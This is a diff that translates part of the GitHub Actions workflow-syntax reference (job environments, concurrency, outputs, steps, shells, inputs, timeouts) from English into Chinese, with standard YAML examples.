-This example shows permissions being set for the `GITHUB_TOKEN` that will only apply to the job named `stale`. Write access is granted for the `issues` and `pull-requests` scopes. All other scopes will have no access.
+此示例显示为将要应用到作业 `stale` 的 `GITHUB_TOKEN` 设置的权限。 对于 `issues` 和 `pull-requests` 拉取请求，授予写入访问权限。 所有其他范围将没有访问权限。
 
 ```yaml
 jobs:
@@ -544,18 +544,18 @@ jobs:
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 ## `jobs.<job_id>.environment`
 
-The environment that the job references. All environment protection rules must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+作业引用的环境。 在将引用环境的作业发送到运行器之前，必须通过所有环境保护规则。 更多信息请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。
 
-You can provide the environment as only the environment `name`, or as an environment object with the `name` and `url`. The URL maps to `environment_url` in the deployments API. For more information about the deployments API, see "[Deployments](/rest/reference/repos#deployments)."
+您可以将环境仅作为环境 `name`，或作为具有 `name` 和 `url` 的环境变量。 URL 映射到部署 API 中的 `environment_url`。 有关部署 API 的更多信息，请参阅“[部署](/rest/reference/repos#deployments)”。
 
-#### Example using a single environment name
+#### 使用单一环境名称的示例
 {% raw %}
 ```yaml
 environment: staging_environment
 ```
 {% endraw %}
 
-#### Example using environment name and URL
+#### 使用环境名称和 URL 的示例
 
 ```yaml
 environment:
@@ -565,7 +565,7 @@ environment:
 
 The URL can be an expression and can use any context except for the [`secrets` context](/actions/learn-github-actions/contexts#contexts). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-### Example
+### 示例
 {% raw %}
 ```yaml
 environment:
@@ -580,26 +580,26 @@ environment:
 
 {% note %}
 
-**Note:** When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other.
+**注意：** 在作业级别指定并发时，无法保证在 5 分钟内排队的作业或运行的互相顺序。
 
 {% endnote %}
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the `secrets` context. For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+Concurrency 确保只有使用相同并发组的单一作业或工作流程才会同时运行。 并发组可以是任何字符串或表达式。 表达式可以使用除 `secrets` 上下文以外的任何上下文。 For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-You can also specify `concurrency` at the workflow level. For more information, see [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency).
+您也可以在工作流程级别指定 `concurrency`。 更多信息请参阅 [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency)。
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs.<job_id>.outputs`
 
-A `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs.<job_id>.needs`](#jobsjob_idneeds).
+作业的输出 `map`。 作业输出可用于所有依赖此作业的下游作业。 有关定义作业依赖项的更多信息，请参阅 [`jobs.<job_id>.needs`](#jobsjob_idneeds)。
 
-Job outputs are strings, and job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}.
+作业输出是字符串，当每个作业结束时，在运行器上评估包含表达式的作业输出。 包含密码的输出在运行器上编辑，不会发送至 {% data variables.product.prodname_actions %}。
 
-To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)."
+要在依赖的作业中使用作业输出, 您可以使用 `needs` 上下文。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#needs-context)”。
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -625,11 +625,11 @@ jobs:
 
 ## `jobs.<job_id>.env`
 
-A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+环境变量的 `map` 可用于作业中的所有步骤。 您也可以设置整个工作流程或单个步骤的环境变量。 更多信息请参阅 [`env`](#env) 和 [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv)。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### 示例
 
 ```yaml
 jobs:
@@ -640,19 +640,19 @@ jobs:
 
 ## `jobs.<job_id>.defaults`
 
-A `map` of default settings that will apply to all steps in the job. You can also set default settings for the entire workflow. For more information, see [`defaults`](#defaults).
+将应用到作业中所有步骤的默认设置的 `map`。 您也可以设置整个工作流程的默认设置。 更多信息请参阅 [`defaults`](#defaults)。
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `jobs.<job_id>.defaults.run`
 
-Provide default `shell` and `working-directory` to all `run` steps in the job. Context and expression are not allowed in this section.
+为作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`。 此部分不允许上下文和表达式。
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a job. You can also set default settings for `run` for the entire workflow. For more information, see [`jobs.defaults.run`](#defaultsrun). You cannot use contexts or expressions in this keyword.
+您可以为作业中的所有 [`run`](#jobsjob_idstepsrun) 步骤提供默认的 `shell` 和 `working-directory` 选项。 您也可以为整个工作流程设置 `run` 的默认设置。 更多信息请参阅 [`jobs.defaults.run`](#defaultsrun)。 您不能在此关键词中使用上下文或表达式。
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### 示例
 
 ```yaml
 jobs:
@@ -666,17 +666,17 @@ jobs:
 
 ## `jobs.<job_id>.if`
 
-You can use the `if` conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.
+您可以使用 `if` 条件阻止作业在条件得到满足之前运行。 您可以使用任何支持上下文和表达式来创建条件。
 
 {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 ## `jobs.<job_id>.steps`
 
-A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job.
+作业包含一系列任务，称为 `steps`。 步骤可以运行命令、运行设置任务，或者运行您的仓库、公共仓库中的操作或 Docker 注册表中发布的操作。 并非所有步骤都会运行操作，但所有操作都会作为步骤运行。 每个步骤在运行器环境中以其自己的进程运行，且可以访问工作区和文件系统。 因为步骤以自己的进程运行，所以步骤之间不会保留环境变量的更改。 {% data variables.product.prodname_dotcom %} 提供内置的步骤来设置和完成作业。
 
-You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+在工作流程的使用限制之内可运行无限数量的步骤。 For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -702,17 +702,17 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].id`
 
-A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+步骤的唯一标识符。 您可以使用 `id` 引用上下文中的步骤。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。
 
 ## `jobs.<job_id>.steps[*].if`
 
-You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+您可以使用 `if` 条件阻止步骤在条件得到满足之前运行。 您可以使用任何支持上下文和表达式来创建条件。
 
 {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-### Example: Using contexts
+### 示例：使用上下文
 
- This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+ 此步骤仅在事件类型为 `pull_request` 并且事件操作为 `unassigned` 时运行。
 
  ```yaml
 steps:
@@ -721,9 +721,9 @@ steps:
     run: echo This event is a pull request that had an assignee removed.
 ```
 
-### Example: Using status check functions
+### 示例：使用状态检查功能
 
-The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+`my backup step` 仅在作业的上一步失败时运行。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
 
 ```yaml
 steps:
@@ -736,22 +736,22 @@ steps:
 
 ## `jobs.<job_id>.steps[*].name`
 
-A name for your step to display on {% data variables.product.prodname_dotcom %}.
+步骤显示在 {% data variables.product.prodname_dotcom %} 上的名称。
 
 ## `jobs.<job_id>.steps[*].uses`
 
-Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+选择要作为作业中步骤的一部分运行的操作。 操作是一种可重复使用的代码单位。 您可以使用工作流程所在仓库中、公共仓库中或[发布 Docker 容器映像](https://hub.docker.com/)中定义的操作。
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+强烈建议指定 Git ref、SHA 或 Docker 标记编号来包含所用操作的版本。 如果不指定版本，在操作所有者发布更新时可能会中断您的工作流程或造成非预期的行为。
+- 使用已发行操作版本的 SHA 对于稳定性和安全性是最安全的。
+- 使用特定主要操作版本可在保持兼容性的同时接收关键修复和安全补丁。 还可确保您的工作流程继续工作。
+- 使用操作的默认分支可能很方便，但如果有人新发布具有突破性更改的主要版本，您的工作流程可能会中断。
 
-Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+有些操作要求必须通过 [`with`](#jobsjob_idstepswith) 关键词设置输入。 请查阅操作的自述文件，确定所需的输入。
 
-Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on).
+操作为 JavaScript 文件或 Docker 容器。 如果您使用的操作是 Docker 容器，则必须在 Linux 环境中运行作业。 更多详情请参阅 [`runs-on`](#jobsjob_idruns-on)。
 
-### Example: Using versioned actions
+### 示例：使用版本化操作
 
 ```yaml
 steps:
@@ -765,11 +765,11 @@ steps:
   - uses: actions/checkout@main
 ```
 
-### Example: Using a public action
+### 示例：使用公共操作
 
 `{owner}/{repo}@{ref}`
 
-You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository.
+您可以指定公共 {% data variables.product.prodname_dotcom %} 仓库中的分支、引用或 SHA。
 
 ```yaml
 jobs:
@@ -783,11 +783,11 @@ jobs:
         uses: actions/aws@v2.0.1
 ```
 
-### Example: Using a public action in a subdirectory
+### 示例：在子目录中使用公共操作
 
 `{owner}/{repo}/{path}@{ref}`
 
-A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA.
+公共 {% data variables.product.prodname_dotcom %} 仓库中特定分支、引用或 SHA 上的子目录。
 
 ```yaml
 jobs:
@@ -797,11 +797,11 @@ jobs:
         uses: actions/aws/ec2@main
 ```
 
-### Example: Using an action in the same repository as the workflow
+### 示例：使用工作流程所在仓库中操作
 
 `./path/to/dir`
 
-The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action.
+包含工作流程的仓库中操作的目录路径。 在使用操作之前，必须检出仓库。
 
 ```yaml
 jobs:
@@ -813,11 +813,11 @@ jobs:
         uses: ./.github/actions/my-action
 ```
 
-### Example: Using a Docker Hub action
+### 示例：使用 Docker 中枢操作
 
 `docker://{image}:{tag}`
 
-A Docker image published on [Docker Hub](https://hub.docker.com/).
+[Docker 中枢](https://hub.docker.com/)上发布的 Docker 映像。
 
 ```yaml
 jobs:
@@ -828,11 +828,11 @@ jobs:
 ```
 
 {% ifversion fpt or ghec %}
-#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
+#### 示例：使用 {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
+{% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} 中的 Docker 映像。
 
 ```yaml
 jobs:
@@ -842,11 +842,11 @@ jobs:
         uses: docker://ghcr.io/OWNER/IMAGE_NAME
 ```
 {% endif %}
-#### Example: Using a Docker public registry action
+#### 示例：使用 Docker 公共注册表操作
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`.
+公共注册表中的 Docker 映像。 此示例在 `gcr.io` 使用 Google Container Registry。
 
 ```yaml
 jobs:
@@ -856,11 +856,11 @@ jobs:
         uses: docker://gcr.io/cloud-builders/gradle
 ```
 
-### Example: Using an action inside a different private repository than the workflow
+### 示例：在不同于工作流程的私有仓库中使用操作
 
-Your workflow must checkout the private repository and reference the action locally. Generate a personal access token and add the token as an encrypted secret. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+您的工作流程必须检出私有仓库，并在本地引用操作。 生成个人访问令牌并将该令牌添加为加密密钥。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”和“[加密密码](/actions/reference/encrypted-secrets)”。
 
-Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret.
+将示例中的 `PERSONAL_ACCESS_TOKEN` 替换为您的密钥名称。
 
 {% raw %}
 ```yaml
@@ -881,20 +881,20 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].run`
 
-Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command.
+使用操作系统 shell 运行命令行程序。 如果不提供 `name`，步骤名称将默认为 `run` 命令中指定的文本。
 
-Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
+命令默认使用非登录 shell 运行。 您可以选择不同的 shell，也可以自定义用于运行命令的 shell。 For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
 
-Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example:
+每个 `run` 关键词代表运行器环境中一个新的进程和 shell。 当您提供多行命令时，每行都在同一个 shell 中运行。 例如：
 
-* A single-line command:
+* 单行命令：
 
   ```yaml
   - name: Install Dependencies
     run: npm install
   ```
 
-* A multi-line command:
+* 多行命令：
 
   ```yaml
   - name: Clean install dependencies and build
@@ -903,7 +903,7 @@ Each `run` keyword represents a new process and shell in the runner environment.
       npm run build
   ```
 
-Using the `working-directory` keyword, you can specify the working directory of where to run the command.
+使用 `working-directory` 关键词，您可以指定运行命令的工作目录位置。
 
 ```yaml
 - name: Clean temp directory
@@ -913,19 +913,19 @@ Using the `working-directory` keyword, you can specify the working directory of
 
 ## `jobs.<job_id>.steps[*].shell`
 
-You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
+您可以使用 `shell` 关键词覆盖运行器操作系统中默认的 shell 设置。 您可以使用内置的 `shell` 关键词，也可以自定义 shell 选项集。 The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
 
-| Supported platform | `shell` parameter | Description | Command run internally |
-|--------------------|-------------------|-------------|------------------------|
-| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` |
-| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` |
-| All | `python` | Executes the python command. | `python {0}` |
-| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` |
-| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
-| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. |
-| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. |
+| 支持的平台         | `shell` 参数   | 描述                                                                                                                                                                                  | 内部运行命令                                          |
+| ------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
+| 所有            | `bash`       | 非 Windows 平台上回退到 `sh` 的默认 shell。 指定 Windows 上的 bash shell 时，将使用 Git for Windows 随附的 bash shel。                                                                                      | `bash --noprofile --norc -eo pipefail {0}`      |
+| 所有            | `pwsh`       | PowerShell Core。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。                                                                                                | `pwsh -command ". '{0}'"`                       |
+| 所有            | `python`     | 执行 python 命令。                                                                                                                                                                       | `python {0}`                                    |
+| Linux / macOS | `sh`         | 未提供 shell 且 在路径中找不到 `bash` 时的非 Windows 平台的后退行为。                                                                                                                                     | `sh -e {0}`                                     |
+| Windows       | `cmd`        | {% data variables.product.prodname_dotcom %} 将扩展名 `.cmd` 附加到您的脚本名称并替换 `{0}`。                                                                                                        | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
+| Windows       | `pwsh`       | 这是 Windows 上使用的默认 shell。 PowerShell Core。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。 如果自托管的 Windows 运行器没有安装 _PowerShell Core_，则使用 _PowerShell Desktop_ 代替。 | `pwsh -command ". '{0}'"`.                      |
+| Windows       | `powershell` | PowerShell 桌面。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。                                                                                                  | `powershell -command ". '{0}'"`.                |
 
-### Example: Running a script using bash
+### 示例：使用 bash 运行脚本
 
 ```yaml
 steps:
@@ -934,7 +934,7 @@ steps:
     shell: bash
 ```
 
-### Example: Running a script using Windows `cmd`
+### 示例：使用 Windows `cmd` 运行脚本
 
 ```yaml
 steps:
@@ -943,7 +943,7 @@ steps:
     shell: cmd
 ```
 
-### Example: Running a script using PowerShell Core
+### 示例：使用 PowerShell Core 运行脚本
 
 ```yaml
 steps:
@@ -952,7 +952,7 @@ steps:
     shell: pwsh
 ```
 
-### Example: Using PowerShell Desktop to run a script
+### 示例：使用 PowerShell 桌面运行脚本
 
 ```yaml
 steps:
@@ -961,7 +961,7 @@ steps:
     shell: powershell
 ```
 
-### Example: Running a python script
+### 示例：运行 python 脚本
 
 ```yaml
 steps:
@@ -972,11 +972,11 @@ steps:
     shell: python
 ```
 
-### Custom shell
+### 自定义 shell
 
-You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`.
+您可以使用 `command […options] {0} [..more_options]` 将 `shell` 值设置为模板字符串。 {% data variables.product.prodname_dotcom %} 将字符串的第一个用空格分隔的词解释为命令，并在 `{0}` 处插入临时脚本的文件名。
 
-For example:
+例如：
 
 ```yaml
 steps:
@@ -986,39 +986,39 @@ steps:
     shell: perl {0}
 ```
 
-The command used, `perl` in this example, must be installed on the runner.
+此示例中使用的命令 `perl` 必须安装在运行器上。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% elsif fpt or ghec %}
-For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+有关 GitHub 托管运行器中所包含软件的信息，请参阅“[GitHub 托管运行器的规格](/actions/reference/specifications-for-github-hosted-runners#supported-software)”。
 {% endif %}
 
-### Exit codes and error action preference
+### 退出代码和错误操作首选项
 
-For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts.
+至于内置的 shell 关键词，我们提供由 {% data variables.product.prodname_dotcom %} 托管运行程序执行的以下默认值。 在运行 shell 脚本时，您应该使用这些指南。
 
-- `bash`/`sh`:
-  - Fail-fast behavior using `set -eo pipefail`: Default for `bash` and built-in `shell`. It is also the default when you don't provide an option on non-Windows platforms.
-  - You can opt out of fail-fast and take full control by providing a template string to the shell options. For example, `bash {0}`.
-  - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code.
+- `bash`/`sh`：
+  - 使用 `set -eo pipefail` 的快速失败行为：`bash` 和内置 `shell` 的默认值。 它还是未在非 Windows 平台上提供选项时的默认值。
+  - 您可以向 shell 选项提供模板字符串，以退出快速失败并接管全面控制权。 例如 `bash {0}`。
+  - sh 类 shell 使用脚本中最后执行的命令的退出代码退出，也是操作的默认行为。 运行程序将根据此退出代码将步骤的状态报告为失败/成功。
 
 - `powershell`/`pwsh`
-  - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents.
-  - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code.
-  - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need.
+  - 可能时的快速失败行为。 对于 `pwsh` 和 `powershell` 内置 shell，我们将 `$ErrorActionPreference = 'stop'` 附加到脚本内容。
+  - 我们将 `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` 附加到 powershell 脚本，以使操作状态反映脚本的最后一个退出代码。
+  - 用户可随时通过不使用内置 shell 并提供类似如下的自定义 shell 选项来退出：`pwsh -File {0}` 或 `powershell -Command "& '{0}'"`，具体取决于需求。
 
 - `cmd`
-  - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script.
-  - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact.
+  - 除了编写脚本来检查每个错误代码并相应地响应之外，似乎没有办法完全选择快速失败行为。 由于我们默认不能实际提供该行为，因此您需要将此行为写入脚本。
+  - `cmd.exe` 在退出时带有其执行的最后一个程序的错误等级，并且会将错误代码返回到运行程序。 此行为在内部与上一个 `sh` 和 `pwsh` 默认行为一致，是 `cmd.exe` 的默认值，所以此行为保持不变。
 
 ## `jobs.<job_id>.steps[*].with`
 
-A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case.
+输入参数的 `map` 由操作定义。 每个输入参数都是一个键/值对。 输入参数被设置为环境变量。 该变量的前缀为 `INPUT_`，并转换为大写。
 
-### Example
+### 示例
 
-Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables.
+定义 `hello_world` 操作所定义的三个输入参数（`first_name`、`middle_name` 和 `last_name`）。 这些输入变量将被 `hello-world` 操作作为 `INPUT_FIRST_NAME`、`INPUT_MIDDLE_NAME` 和 `INPUT_LAST_NAME` 环境变量使用。
 
 ```yaml
 jobs:
@@ -1034,9 +1034,9 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].with.args`
 
-A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter.
+`string` 定义 Docker 容器的输入。 {% data variables.product.prodname_dotcom %} 在容器启动时将 `args` 传递到容器的 `ENTRYPOINT`。 此参数不支持 `array of strings`。
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -1049,17 +1049,17 @@ steps:
 ```
 {% endraw %}
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args` 用来代替 `Dockerfile` 中的 `CMD` 指令。 如果在 `Dockerfile` 中使用 `CMD`，请遵循按偏好顺序排序的指导方针：
 
-1. Document required arguments in the action's README and omit them from the `CMD` instruction.
-1. Use defaults that allow using the action without specifying any `args`.
-1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting.
+1. 在操作的自述文件中记录必要的参数，并在 `CMD` 指令的中忽略它们。
+1. 使用默认值，允许不指定任何 `args` 即可使用操作。
+1. 如果操作显示 `--help` 标记或类似项，请将其用作默认值，以便操作自行记录。
 
 ## `jobs.<job_id>.steps[*].with.entrypoint`
 
-Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run.
+覆盖 `Dockerfile` 中的 Docker `ENTRYPOINT`，或在未指定时设置它。 与包含 shell 和 exec 表单的 Docker `ENTRYPOINT` 指令不同，`entrypoint` 关键词只接受定义要运行的可执行文件的单个字符串。
 
-### Example
+### 示例
 
 ```yaml
 steps:
@@ -1069,17 +1069,17 @@ steps:
       entrypoint: /a/different/executable
 ```
 
-The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs.
+`entrypoint` 关键词旨在用于 Docker 容器操作，但您也可以将其用于未定义任何输入的 JavaScript 操作。
 
 ## `jobs.<job_id>.steps[*].env`
 
-Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv).
+设置供步骤用于运行器环境的环境变量。 您也可以设置整个工作流程或某个作业的环境变量。 更多信息请参阅 [`env`](#env) 和 [`jobs.<job_id>.env`](#jobsjob_idenv)。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
+公共操作可在自述文件中指定预期的环境变量。 如果要在环境变量中设置密码，必须使用 `secrets` 上下文进行设置。 For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -1094,37 +1094,37 @@ steps:
 
 ## `jobs.<job_id>.steps[*].continue-on-error`
 
-Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails.
+防止步骤失败时作业也会失败。 设置为 `true` 以允许在此步骤失败时作业能够通过。
 
 ## `jobs.<job_id>.steps[*].timeout-minutes`
 
-The maximum number of minutes to run the step before killing the process.
+终止进程之前运行该步骤的最大分钟数。
 
 ## `jobs.<job_id>.timeout-minutes`
 
-The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360
+在 {% data variables.product.prodname_dotcom %} 自动取消运行之前可让作业运行的最大分钟数。 默认值：360
 
-If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+如果超时超过运行器的作业执行时限，作业将在达到执行时限时取消。 For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
 ## `jobs.<job_id>.strategy`
 
-A strategy creates a build matrix for your jobs. You can define different variations to run each job in.
+A strategy creates a build matrix for your jobs. 您可以定义要在其中运行每项作业的不同变种。
 
 ## `jobs.<job_id>.strategy.matrix`
 
-You can define a matrix of different job configurations. A matrix allows you to create multiple jobs by performing variable substitution in a single job definition. For example, you can use a matrix to create jobs for more than one supported version of a programming language, operating system, or tool. A matrix reuses the job's configuration and creates a job for each matrix you configure.
